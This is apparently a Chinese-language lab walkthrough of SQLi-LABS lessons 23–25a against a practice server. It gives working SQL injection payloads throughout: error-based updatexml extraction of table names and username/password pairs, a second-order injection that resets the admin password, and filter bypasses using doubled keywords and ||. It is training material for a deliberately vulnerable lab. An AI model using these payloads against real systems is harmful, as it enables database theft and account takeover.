SQLi-LABS Page-2 (Adv Injections) Less23-Less26

Less-23

http://10.10.202.112/sqli/Less-23?id=1'

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-23\index.php on line 38
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ''1'' LIMIT 0,1' at line 1

闭合错误：

查看源码过滤掉了# --，因此只能单引号闭合

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

SELECT * FROM users WHERE id='$id' LIMIT 0,1

1' and '1'='1

http://10.10.202.112/sqli/Less-23?id=1' and updatexml(null,concat(0x0a,(select version())),null) or '1'='1

http://10.10.202.112/sqli/Less-23?id=1' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),null) or '1'='1

username字段

http://10.10.202.112/sqli/Less-23?id=1' and updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_schema=DATABASE() and table_name=0x7573657273 limit 1,1)),null) or '1'='1

password字段

获取数据

http://10.10.202.112/sqli/Less-23?id=1' and updatexml(null,concat(0x0a,(select concat(username,0x7e,password) from users limit 0,1)),null) or '1'='1

Less-24

POST- Second Oder Injections *Real treat store injection

这里属于二次注入漏洞

使用：

username: admin'#

password: 123

此时：admin的密码被修改成123456

SQL语句：

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'

UPDATE users SET PASSWORD='123456' where username='admin'

Less-25

GET -Error based - All you OR & AND belong to us - string single quote

看源码提示直接把 or、and过滤了，但是可以用&&、||绕过：

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

payload：

1'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

http://10.10.202.112/sqli/Less-25?id=1' oorrder by 3 -- -

http://10.10.202.112/sqli/Less-25?id=-1' union select 1,2,3 -- -

http://10.10.202.112/sqli/Less-25?id=-1' union select 1,(SELECT+GROUP_CONCAT(schema_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATION_SCHEMA.SCHEMATA),3 -- -

Less-25a

GET - Blind Based - All your OR & and belong to us-intiger based

次数也是过滤了or 和 AND 关键词：

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

采用双写绕过：

ORDER BY 4---- OORRDER BY 4

判断列：

http://10.10.202.112/sqli/Less-25a?id=1 OORRDER BY 3 --+ #true

http://10.10.202.112/sqli/Less-25a?id=1 OORRDER BY 4 --+ #false

http://10.10.202.112/sqli/Less-25a?id=-1 +UNION+ALL+SELECT+1,2,3 --+

http://10.10.202.112/sqli/Less-25a?id=-1 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(schema_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATION_SCHEMA.SCHEMATA),3 --+